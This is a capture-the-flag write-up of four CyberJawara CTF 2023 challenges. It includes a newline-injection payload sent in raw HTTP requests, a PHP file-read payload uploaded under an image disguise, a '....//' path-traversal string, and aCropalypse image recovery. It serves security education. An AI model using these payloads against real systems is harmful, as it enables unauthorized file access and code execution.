Berlian Gabriel

CyberJawara CTF 2023

Web

Wonder Drive

Abusing newline character to append arbitrary filepath to obtain unauhtorized access in a drive sharing webapp

(5 Solves, 850 Points)

The code snippet below posses security risks. The idea is to create additional new entry of an arbitrary path to access_file

    if request.method == 'POST':
        access_file = f"accounts/{username}/access"
        with open(access_file, "a", encoding="ascii") as f:
            f.write(f"{data['filepath']}\n")
        return redirect(url_for('user_repository_root', username=username))

access_file is a file that controls the path an account can access. If the path to a file exists as an entry in access_file, the corresponding account will be able to access that file. We want to add repository/wonderadmin/flag.txt to access_file, and we can do so by abusing the newline character.

data['filepath'] = test\nrepository/wonderadmin/flag.txt

when the above payload is executed, it will write repository/wonderadmin/flag.txt to access_file in a new line.

repository/test
repository/wonderadmin/flag.txt

This will allow our user account to access the flag.

But first thing first, we need to create the following folders and upload the file on our own drive, to make this file path exist repository/{username}/test%0arepository/wonderadmin/flag.txt

Once we shared the file and accept_share the token, we can access wonderadmin/flag.txt

Common Pitfalls

If you are creating the folder from the webapp in a browser, the newline character %0a will be URL-encoded to %250a which will prevent our exploit from working. If you are using Burpsuite, make sure to intercept the request and change %250a to %0a

Request to create directory

POST /create_directory HTTP/1.1
Host: wonder-drive.ctf.cyberjawara.id
Cookie: _ga=GA1.1.100328777.1701502669; _ga_8YH0DHGR6E=GS1.1.1701502668.1.1.1701502680.0.0.0; session=eyJ1c2VybmFtZSI6ImZnaGZnaGZnaGoifQ.ZWvbhg.uDKAAxoIN8feTpAq0PnU6HzoMIg
Content-Length: 60
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="119", "Not?A_Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://wonder-drive.ctf.cyberjawara.id
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://wonder-drive.ctf.cyberjawara.id/repository/fghfghfghj/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Connection: close

directory_name=test%0arepository%2Fwonderadmin&current_path=

The directory you just created will not be visitable from the webapp as it will return 404 Not Found when clicked. When uploading flag.txt, make sure also intercept the request, and replace the directory query paramter value with test%0arepository/wonderadmin

Request to upload flag.txt

POST /upload?directory=test%0arepository/wonderadmin HTTP/1.1
Host: wonder-drive.ctf.cyberjawara.id
Cookie: _ga=GA1.1.100328777.1701502669; _ga_8YH0DHGR6E=GS1.1.1701502668.1.1.1701502680.0.0.0; session=eyJ1c2VybmFtZSI6ImZnaGZnaGZnaGoifQ.ZWvbhg.uDKAAxoIN8feTpAq0PnU6HzoMIg
Content-Length: 190
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="119", "Not?A_Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://wonder-drive.ctf.cyberjawara.id
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycERDeiyM6pVu0A5A
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://wonder-drive.ctf.cyberjawara.id/repository/fghfghfghj/test%250arepository/wonderadmin
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Connection: close

------WebKitFormBoundarycERDeiyM6pVu0A5A
Content-Disposition: form-data; name="file"; filename="flag.txt"
Content-Type: text/plain

REDACTED
------WebKitFormBoundarycERDeiyM6pVu0A5A--

Lastly, make sure to also intercept the replace the file_path parameter when sharing the file

Request to share flag.txt

POST /share HTTP/1.1
Host: wonder-drive.ctf.cyberjawara.id
Cookie: _ga=GA1.1.100328777.1701502669; _ga_8YH0DHGR6E=GS1.1.1701502668.1.1.1701502680.0.0.0; session=eyJ1c2VybmFtZSI6ImZnaGZnaGZnaGoifQ.ZWvbhg.uDKAAxoIN8feTpAq0PnU6HzoMIg
Content-Length: 72
Sec-Ch-Ua: "Chromium";v="119", "Not?A_Brand";v="24"
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: https://wonder-drive.ctf.cyberjawara.id
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://wonder-drive.ctf.cyberjawara.id/repository/fghfghfghj/test%250arepository/wonderadmin/flag.txt
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
Connection: close

username=fghfghfghj&file_path=test%0arepository%2Fwonderadmin%2Fflag.txt

Use the token obtained from the request above to accept_share in your account.

You can now access repository/wonderadmin/flag.txt from your account.

FLAG: CJ2023{wonderful_trick!_zzzzzzzzzzzzzzzzzzzz}

Magic 1

Bypassing file upload checking by using image mime type leading to PHP code execution

(28 Solves, 300 Points)

The webapp returns Error when doing magic. even for normal image upload, because the imagick cannot access the tmp file due to already being moved to results folder. However, the file is still uploaded, and can be retrieved from the results folder.

        move_uploaded_file($_FILES['image']['tmp_name'], 'results/original-' . $_FILES['image']['name']);
        $resizedImagePath = resizeImage($_FILES['image']);

Our approach is to upload a php file, which we will then retrieve from the results folder, and it will get executed and return the content of flag.txt

payload for php code execution

<?php
echo file_get_contents('/flag.txt');

Embed the php payload after the image magic bytes to trick the webapp into thinking that the uploaded php file is an image.

Execute the php payload by visiting this url path /results/original-{uploaded-filename}.php

FLAG: CJ2023{4n0th3r_unrestricted_file_upload__}

Static Web

Non-recursive pathname sanitation leading to path traversal

(63 Solves, 300 Points)

Given the following index.js source code:

const http = require('http');
const fs = require('fs');
const path = require('path');
const url = require('url');

const config = require('./config.js')

const server = http.createServer((req, res) => {
    if (req.url.startsWith('/static/')) {
        const urlPath = req.url.replace(/\.\.\//g, '')
        const filePath = path.join(__dirname, urlPath);
        fs.readFile(filePath, (err, data) => {
            if (err) {
                res.writeHead(404);
                res.end("Error: File not found");
            } else {
                res.writeHead(200);
                res.end(data);
            }
        });
    } else if (req.url.startsWith('/admin/')) {
        const parsedUrl = url.parse(req.url, true); 
        const queryObject = parsedUrl.query;
        if (queryObject.secret == config.secret) {
            res.writeHead(200);
            res.end(config.flag);
        } else {
            res.writeHead(403);
            res.end('Nope');
        }
    } else if (req.url == '/') {
        fs.readFile('index.html', (err, data) => {
            if (err) {
                res.writeHead(500);
                res.end("Error");
            } else {
                res.writeHead(200);
                res.end(data);
            }
        });
    } else {
        res.writeHead(404);
        res.end("404: Resource not found");
    }
});

server.listen(3000, () => {
    console.log("Server running at http://localhost:3000/");
});

Let us first observe the location of the flag, which is inside the config.js file. The intended way this index.js wants us to access the flag is by entering /admin/ as the URL path, but we are also required to have the config.secret which we do not know.

Looking closely at this part of the code, which is intended to perform URL sanitization,

const urlPath = req.url.replace(/\.\.\//g, '')
  • The regular expression /\.\.\//g is designed to find all occurrences of the sequence ../ in the URL path. In regular expressions, . is a special character that matches any character, so it needs to be escaped with a backslash (\) to represent a literal dot. Thus, \.\. matches ... The third / is also matched literally.
  • The g at the end of the regular expression is a flag that stands for “global”. This means the replace operation is applied to all matches in the string, not just the first one.
  • The replacement string is '', which indicates that every matched instance of ../ in the URL is to be replaced with an empty string.

Notice that the string replacement is NOT performed recursively, meaning that ....// will be come ../ Armed with this exploit, we can now perform path traversal to retrieve the content of config.js which contains the flag.

URL path input:

/static/....//config.js

urlPath after sanitation resulting in path traversel:

/static/../config.js

FLAG: CJ2023{1st_warmup_and_m1c_ch3ck}

Forensic

Apocalypse

CVE-2023-21036 Google Android BitmapExport.java logic error, in which a cropped image can be recovered to its original uncropped state. Recover corrupt PNG files with missing length-byte and CRC.

(12 Solves, 610 Points)

The screenshot is vulnerable to aCropalypse (CVE 2023-21036). However, the two screenshots need to be recovered first. The screenshots have missing length and CRC for IHDR, sRGB, sBIT, eXIf, and IDAT. We can compare the screenshots with an actual cropped screenshot to better understand the missing structure.

The basic idea is to set the length-byte to the right value, and calculate the corresponding CRC. We can use pngcheck to analyze the CRC and this tool: PCRT (GitHub - sherlly/PCRT: PCRT (PNG Check & Repair Tool), a tool to help check and fix the error in a PNG image.) to automate the fixing process.

  • The tip is to temporarily substitute the first IEND-byte with something else when using the tool PCRT, to make sure PCRT performs the length and CRC checking until the end of the file.
  • IHRC length is set to 0D
  • sRGB length is set to 01
  • sBIT length is set to 04
  • IDAT length is set to 0020, except for the IDAT chunk before IEND

Once all the length-byte and CRC-byte are set properly, the corrupted screenshoots are succesfully recovered.

We then proceed to use acropalypse to recover the original screenshot before cropping. Judging from the metadata in the screenshot which has Google Inc. 2016 in it, and also the width pixel of the two screenshots, we suspect that the device used to take the screenshots were Pixel XL, which was released in 2016 with 2560x1440 pixels. For the device option in acropalypse, we use the custom resolution of 2560x1440. The recovered original screenshots are as follow:

FLAG: CJ2023{cb2aa1108f6aebb88c30}